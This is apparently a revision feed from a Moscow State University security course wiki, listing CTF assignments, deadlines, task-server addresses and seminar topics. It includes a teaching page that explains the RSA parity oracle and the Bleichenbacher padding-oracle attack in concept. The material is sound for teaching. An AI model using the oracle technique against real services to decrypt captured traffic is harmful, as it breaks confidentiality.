* &amp;lt;s&amp;gt;http://hard.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://jpg.tasks.prak.seclab.cs.msu.ru&amp;lt;/s&amp;gt; (deadline - 31.10.2023 14:00)&lt;br /&gt;
* &amp;lt;s&amp;gt;http://shop.tasks.prak.seclab.cs.msu.ru/&amp;lt;/s&amp;gt;  (dedline - 23.11.2023 23:59)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [[Media:2023 reverse tasks.zip|Задания по реверсу]] (deadline - 16.11.2023 23:59:59.999999 MSK)&lt;br /&gt;
* [[Media:2023 pwn tasks.tar.gz|Задания по бинарной эксплутации]] (deadline - 17.12.2023 23:59:59.999999 MSK)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: [https://khashaev.ru/secsem/rsa/#broadcast broadcast], [https://khashaev.ru/secsem/rsa/#common-sense common-sense] (deadline - 1.04.2024 23:53)&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2020)/Задание_на_блочные_шифры|Задание на блочные шифры]] (deadline - 24.03.2024 23:53)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (11 сентября 2023) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (18 сентября 2023) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (25 сентября 2023) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (2 октября 2023) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (9 октября 2023) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (16 октября 2022) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (23 октября 2020) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (30 октября 2023) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (20 ноября 2022) [[Бинарные_уязвимости/Переполнение_стека]]&lt;br /&gt;
&lt;br /&gt;
Семинар 11 (27 ноября 2022) [[Бинарные_уязвимости/ROP]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (22 февраля 2024) [[Криптография/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (29 февраля 2021) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (14 марта 2021) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (4 апреля 2024) [[Сетевая безопасность/Анализ сетевого трафика]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=661</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=661"/>
		<updated>2022-04-18T12:50:26Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 609&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в принимающую систему. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2021)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 12.10.2021 15:53)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/19qIXrbhGyFUAHY-fG3pTlpse4GLLRgr7/view?usp=sharing task 1] nc 91.214.70.136 16971 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1Mw_BkNZ-QBkbQrRXLtZLkd3FypMdHp-d/view?usp=sharing task 2] nc 91.214.70.136 16972 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1IhG_OD6BDIS4TA_0QXrNxlRqU0xMcV_R/view?usp=sharing task 3] nc 91.214.70.136 16973 (deadline - 24.12.2021 12:00)&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/1KF992P4Vt3i_7Hr2O6qPCxb5GOzPBXK8/view?usp=sharing task 4] nc tasks.prak.seclab.cs.msu.ru 16974 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1ENAVVDKlKIGgELZh6sCaP1wJ4SiOAYwz/view?usp=sharing task 5] nc tasks.prak.seclab.cs.msu.ru 16965 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1QcgUUOuKrBB0zce9Er5OCAPIVTQ5jig5/view?usp=sharing task 6] nc tasks.prak.seclab.cs.msu.ru 16966  (deadline - 24.12.2021 12:00)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: [https://khashaev.ru/secsem/rsa/#broadcast broadcast], [https://khashaev.ru/secsem/rsa/#common-sense common-sense] (deadline - 12.04.2022 15:53)&lt;br /&gt;
* Padding oracle [http://even.tasks.prak.seclab.cs.msu.ru/ even], [http://bleichenbacher.tasks.prak.seclab.cs.msu.ru/ bleichenbacher]  (deadline - 03.05.2022 23:59)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2021) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2021) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2021) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2021) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (14 октября 2021) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (21 октября 2021) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
Семинар 8 (28 октября 2021) [[Бинарные_уязвимости/Инструменты_поиска_бинарных_уязвимостей]]&lt;br /&gt;
&lt;br /&gt;
Семинар 10 (22 ноября 2021) [[Бинарные_уязвимости/Stack_overflow]]&lt;br /&gt;
&lt;br /&gt;
=== Уязвимости мобильных приложений ===&lt;br /&gt;
&lt;br /&gt;
Семинар 16 декабря 2021 [[Уязвимости_мобильных_приложений/Уязвимости]]&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
Семинар 1 (21 февраля 2021) [[Введение в практическую безопасность (2019)/Асимметричная криптография на примере RSA]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (5 марта 2021) [[Криптография/Блочные шифры. Атаки на блочные шифры]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (14 марта 2021) [[Криптография/Атака Padding oracle на RSA]]&lt;br /&gt;
&lt;br /&gt;
=== Сетевая безопасность ===&lt;br /&gt;
Семинар 5 (4 апреля 2022) [[Сетевая безопасность/Анализ сетевого трафика]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (11 апреля 2021) [[Сетевая безопасность/Сетевой стек и DNS]]&lt;br /&gt;
&lt;br /&gt;
== Примечания ==&lt;br /&gt;
&amp;lt;references/&amp;gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=631</id>
		<title>Криптография/Атака Padding oracle на RSA</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=631"/>
		<updated>2022-04-01T11:54:43Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Атака Блехенбахера */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Мультипликативное свойство RSA==&lt;br /&gt;
Пусть E(M) - функция шифрования, N - модуль, X mod Y - остаток от деления X на Y. Тогда:&lt;br /&gt;
&amp;lt;pre&amp;gt; E(M1)E(M2) mod N = E(M1M2 mod N)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Данной свойство очевидно выводится из определения функции шифрования E(M).&lt;br /&gt;
&lt;br /&gt;
==Pairing Oracle==&lt;br /&gt;
Разберем следующи пример: пусть есть сервис по заказу яиц. Но он позваляет заказывать только четное количество яиц. Заказы принимаются в зашифрованном RSA виде. Нужно, имея подслушанный зашифрованный текст C, получить его дешифрованный текст M.&lt;br /&gt;
&lt;br /&gt;
Атака выглядит следующим образом: пусть M &amp;lt; N. Можно послать сервису заказ на &amp;lt;code&amp;gt;2M mod N&amp;lt;/code&amp;gt; яиц (для этого нужно послать &amp;lt;code&amp;gt;(C*2^e) mod N)&amp;lt;/code&amp;gt;. Тогда есть два варинта:&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;gt; N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M - N&amp;lt;/code&amp;gt; - нечетное число, сервис не принимает заказ&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;lt;= N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M&amp;lt;/code&amp;gt; - четное число, сервис принимает заказ&lt;br /&gt;
Аналогичные суждения можно сделать, домножая C на 2^ie mod N (где i - натуральное число) и, используя метод двоичного поиска, выяснить, чему же равно M.&lt;br /&gt;
&lt;br /&gt;
==PKCS==&lt;br /&gt;
Согласно этому стандарту, паддинг текста, длина которого недостаточна для шифрования происходит следующим образом:&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b07907669f2527&lt;br /&gt;
eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt;4c65616b696e672070617269747920616c6c6f777320666f7&lt;br /&gt;
22064656372797074696e6720612077686f6c652052534120656e63727970746564206d6573736167650a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt; - первые два байта определяют тип падинга&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d&lt;br /&gt;
0f95f9836b07907669f2527eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt; - ненулевые случайные байты&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt; - сепаратор, после которого идёт собственно сам текст&lt;br /&gt;
&lt;br /&gt;
==Атака Блехенбахера==&lt;br /&gt;
[[Файл:Padding.zip|200px|thumb|left|Описание атаки]]&lt;br /&gt;
&lt;br /&gt;
==Ссылки==&lt;br /&gt;
* [https://youtu.be/J8j2LHiKS0I Видео лекции 2021]&lt;br /&gt;
* [https://disk.yandex.ru/i/SyvbTKG5PBZVEA Видео лекции 2022]&lt;br /&gt;
* [https://docs.google.com/presentation/d/19sGLccnP5IcVm3l3ie3UJZ_nMTxu62SMCFHCd_M2fFc/edit?usp=sharing Презинтация лекции]&lt;br /&gt;
* [http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf Оригинал статьи по атаке Блехенбахера]&lt;br /&gt;
* [http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html Ещё одна статья про padding oracle]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Padding.zip&amp;diff=630</id>
		<title>Файл:Padding.zip</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%A4%D0%B0%D0%B9%D0%BB:Padding.zip&amp;diff=630"/>
		<updated>2022-04-01T11:53:18Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=629</id>
		<title>Криптография/Атака Padding oracle на RSA</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9A%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F/%D0%90%D1%82%D0%B0%D0%BA%D0%B0_Padding_oracle_%D0%BD%D0%B0_RSA&amp;diff=629"/>
		<updated>2022-03-31T13:37:14Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Ссылки */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==Мультипликативное свойство RSA==&lt;br /&gt;
Пусть E(M) - функция шифрования, N - модуль, X mod Y - остаток от деления X на Y. Тогда:&lt;br /&gt;
&amp;lt;pre&amp;gt; E(M1)E(M2) mod N = E(M1M2 mod N)&amp;lt;/pre&amp;gt;&lt;br /&gt;
Данной свойство очевидно выводится из определения функции шифрования E(M).&lt;br /&gt;
&lt;br /&gt;
==Pairing Oracle==&lt;br /&gt;
Разберем следующи пример: пусть есть сервис по заказу яиц. Но он позваляет заказывать только четное количество яиц. Заказы принимаются в зашифрованном RSA виде. Нужно, имея подслушанный зашифрованный текст C, получить его дешифрованный текст M.&lt;br /&gt;
&lt;br /&gt;
Атака выглядит следующим образом: пусть M &amp;lt; N. Можно послать сервису заказ на &amp;lt;code&amp;gt;2M mod N&amp;lt;/code&amp;gt; яиц (для этого нужно послать &amp;lt;code&amp;gt;(C*2^e) mod N)&amp;lt;/code&amp;gt;. Тогда есть два варинта:&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;gt; N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M - N&amp;lt;/code&amp;gt; - нечетное число, сервис не принимает заказ&lt;br /&gt;
# &amp;lt;code&amp;gt;M &amp;lt;= N/2&amp;lt;/code&amp;gt;, тогда &amp;lt;code&amp;gt;2M mod N = 2M&amp;lt;/code&amp;gt; - четное число, сервис принимает заказ&lt;br /&gt;
Аналогичные суждения можно сделать, домножая C на 2^ie mod N (где i - натуральное число) и, используя метод двоичного поиска, выяснить, чему же равно M.&lt;br /&gt;
&lt;br /&gt;
==PKCS==&lt;br /&gt;
Согласно этому стандарту, паддинг текста, длина которого недостаточна для шифрования происходит следующим образом:&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d0f95f9836b07907669f2527&lt;br /&gt;
eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt;&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt;4c65616b696e672070617269747920616c6c6f777320666f7&lt;br /&gt;
22064656372797074696e6720612077686f6c652052534120656e63727970746564206d6573736167650a&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#B22222&amp;quot;&amp;gt;0002&amp;lt;/span&amp;gt; - первые два байта определяют тип падинга&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#4169E1&amp;quot;&amp;gt;3572e4bcc8df4c7e53f931c1d79addcc3d0412db8723e28c84a5f6340d&lt;br /&gt;
0f95f9836b07907669f2527eda22e1f80e6e2e4dac062326f5716fca45&amp;lt;/span&amp;gt; - ненулевые случайные байты&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:#FF00FF&amp;quot;&amp;gt;00&amp;lt;/span&amp;gt; - сепаратор, после которого идёт собственно сам текст&lt;br /&gt;
&lt;br /&gt;
==Атака Блехенбахера== &lt;br /&gt;
[https://disk.yandex.ru/i/-_ohdI9lqwgqyg| Ссылка на описание атаки]&lt;br /&gt;
&lt;br /&gt;
==Ссылки==&lt;br /&gt;
* [https://youtu.be/J8j2LHiKS0I Видео лекции 2021]&lt;br /&gt;
* [https://disk.yandex.ru/i/SyvbTKG5PBZVEA Видео лекции 2022]&lt;br /&gt;
* [https://docs.google.com/presentation/d/19sGLccnP5IcVm3l3ie3UJZ_nMTxu62SMCFHCd_M2fFc/edit?usp=sharing Презинтация лекции]&lt;br /&gt;
* [http://archiv.infsec.ethz.ch/education/fs08/secsem/bleichenbacher98.pdf Оригинал статьи по атаке Блехенбахера]&lt;br /&gt;
* [http://secgroup.dais.unive.it/wp-content/uploads/2012/11/Practical-Padding-Oracle-Attacks-on-RSA.html Ещё одна статья про padding oracle]&lt;/div&gt;</summary>
		<author><name>Romankholin94</name></author>
	</entry>
	<entry>
		<id>https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=628</id>
		<title>Практикум на ЭВМ (2021)</title>
		<link rel="alternate" type="text/html" href="https://course.secsem.ru/w/index.php?title=%D0%9F%D1%80%D0%B0%D0%BA%D1%82%D0%B8%D0%BA%D1%83%D0%BC_%D0%BD%D0%B0_%D0%AD%D0%92%D0%9C_(2021)&amp;diff=628"/>
		<updated>2022-03-31T12:55:01Z</updated>

		<summary type="html">&lt;p&gt;Romankholin94: /* Криптография и криптоанализ */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&#039;&#039;&#039;Практикум на ЭВМ&#039;&#039;&#039; кафедры ИБ ВМК МГУ ведут сотрудники лаборатории интеллектуальных систем кибербезопасности для групп 319/1 и 319/2.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Когда&#039;&#039;&#039;: по четвергам, 12:50&lt;br /&gt;
* &#039;&#039;&#039;Где&#039;&#039;&#039;: аудитория 609&lt;br /&gt;
&lt;br /&gt;
Практикум связан с курсом &amp;quot;Безопасность компьютерных систем&amp;quot;, который читается для группы 319/2, и содержит практические задания по темам курса. Каждое занятие практикума имеет формат воркшопа/семинара - т.е. занятие будет практическим, на него надо приходить с ноутбуком, а также установленным софтом. Набор нужного для занятия софта объявляется отдельно перед занятием.&lt;br /&gt;
&lt;br /&gt;
Основные темы, которые будут затронуты в практикуме 2021/2022 учебного года:&lt;br /&gt;
* веб-безопасность&lt;br /&gt;
* реверс-инжиниринг и эксплуатация бинарных программ&lt;br /&gt;
* криптография&lt;br /&gt;
* сетевая безопасность&lt;br /&gt;
&lt;br /&gt;
Оценка за практикум будет определяться по результатам выполнения практических заданий. За каждое из заданий будут даваться баллы, сумма баллов и определит оценку. Задания будут делиться на обязательные и бонусные, баллы за все обязательные задания одной темы будут в сумме давать &#039;&#039;&#039;1000&#039;&#039;&#039;, таким образом, баллы за все обязательные задания одного семестра вместе дадут &#039;&#039;&#039;2000&#039;&#039;&#039;.&lt;br /&gt;
Большая часть заданий будет выполнена в формате ctf-тасков&amp;lt;ref&amp;gt;Про CTF и CTF-команду [[Bushwhackers]]&amp;lt;/ref&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
== Задания ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Задания выполнены в формате task-based CTF: в каждом задании есть один или несколько &amp;quot;флагов&amp;quot;, выполняющих роль ценных данных, которые требуется найти и украсть атакующему, для выполнения задания необходимо получить флаг и сдать его в принимающую систему. За каждый сданный флаг начисляются очки. Флаг представляет из себя строку, которая может состоять из цифр и букв английского алфавита, а также нижних подчеркиваний (&amp;quot;_&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Флаги, входящие в обязательную часть, будут начинаться с префикса main_&lt;br /&gt;
&lt;br /&gt;
Флаги нужно сдавать в принимающую систему. В ней нужно заранее зарегистрироваться (ник в формате &#039;&#039;Фамилия Имя&#039;&#039;) и дождаться активации, без этого сдавать флаги не получится Флаги время от времени меняются, если вы получили флаг, но он не сдается, попробуйте вытащить его еще раз и сдать снова - возможно, он поменялся как раз в тот момент. Флаг за одно и то же задание засчитывается для того же сдающего только один раз (даже после изменения).&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
* [[Практикум_на_ЭВМ_(2021)/Бонусное_задание|Бонусное задание]]&lt;br /&gt;
* http://club.tasks.prak.seclab.cs.msu.ru/ (deadline - 12.10.2021 15:53)&lt;br /&gt;
* http://corporate.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://bank.tasks.prak.seclab.cs.msu.ru (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://pwnitter.tasks.prak.seclab.cs.msu.ru/ (deadline -  23.10.2021 23:59)&lt;br /&gt;
* http://hard.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
* http://jpg.tasks.prak.seclab.cs.msu.ru/ (deadline - 28.10.2021 15:30)&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/19qIXrbhGyFUAHY-fG3pTlpse4GLLRgr7/view?usp=sharing task 1] nc 91.214.70.136 16971 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1Mw_BkNZ-QBkbQrRXLtZLkd3FypMdHp-d/view?usp=sharing task 2] nc 91.214.70.136 16972 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1IhG_OD6BDIS4TA_0QXrNxlRqU0xMcV_R/view?usp=sharing task 3] nc 91.214.70.136 16973 (deadline - 24.12.2021 12:00)&lt;br /&gt;
&lt;br /&gt;
* [https://drive.google.com/file/d/1KF992P4Vt3i_7Hr2O6qPCxb5GOzPBXK8/view?usp=sharing task 4] nc tasks.prak.seclab.cs.msu.ru 16974 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1ENAVVDKlKIGgELZh6sCaP1wJ4SiOAYwz/view?usp=sharing task 5] nc tasks.prak.seclab.cs.msu.ru 16965 (deadline - 24.12.2021 12:00)&lt;br /&gt;
* [https://drive.google.com/file/d/1QcgUUOuKrBB0zce9Er5OCAPIVTQ5jig5/view?usp=sharing task 6] nc tasks.prak.seclab.cs.msu.ru 16966  (deadline - 24.12.2021 12:00)&lt;br /&gt;
&lt;br /&gt;
=== Криптография и криптоанализ ===&lt;br /&gt;
&lt;br /&gt;
* RSA: [https://khashaev.ru/secsem/rsa/#broadcast broadcast], [https://khashaev.ru/secsem/rsa/#common-sense common-sense] (deadline - 12.04.2022 15:53)&lt;br /&gt;
&lt;br /&gt;
== Материалы ==&lt;br /&gt;
&lt;br /&gt;
=== Веб ===&lt;br /&gt;
&lt;br /&gt;
Семинар 1 (9 сентября 2021) [[Веб-безопасность/Введение в веб-технологии]]&lt;br /&gt;
&lt;br /&gt;
Семинар 2 (16 сентября 2021) [[Веб-безопасность/Базы_данных_SQL]]&lt;br /&gt;
&lt;br /&gt;
Семинар 3 (23 сентября 2021) [[Веб-безопасность/Уязвимости_SQLi]]&lt;br /&gt;
&lt;br /&gt;
Семинар 4 (30 сентября 2021) [[Веб-безопасность/Уязвимости_XSS]]&lt;br /&gt;
&lt;br /&gt;
Семинар 5 (7 октября 2021) [[Веб-безопасность/Уязвимости_FileUpload]]&lt;br /&gt;
&lt;br /&gt;
Семинар 6 (14 октября 2021) [[Веб-безопасность/Атаки_SSRF]]&lt;br /&gt;
&lt;br /&gt;
Семинар 7 (21 октября 2021) [[Веб-безопасность/Уязвимости_XXE]]&lt;br /&gt;
&lt;br /&gt;
=== Реверс-инжиниринг и бинарная эксплуатация ===&lt;br /&gt;
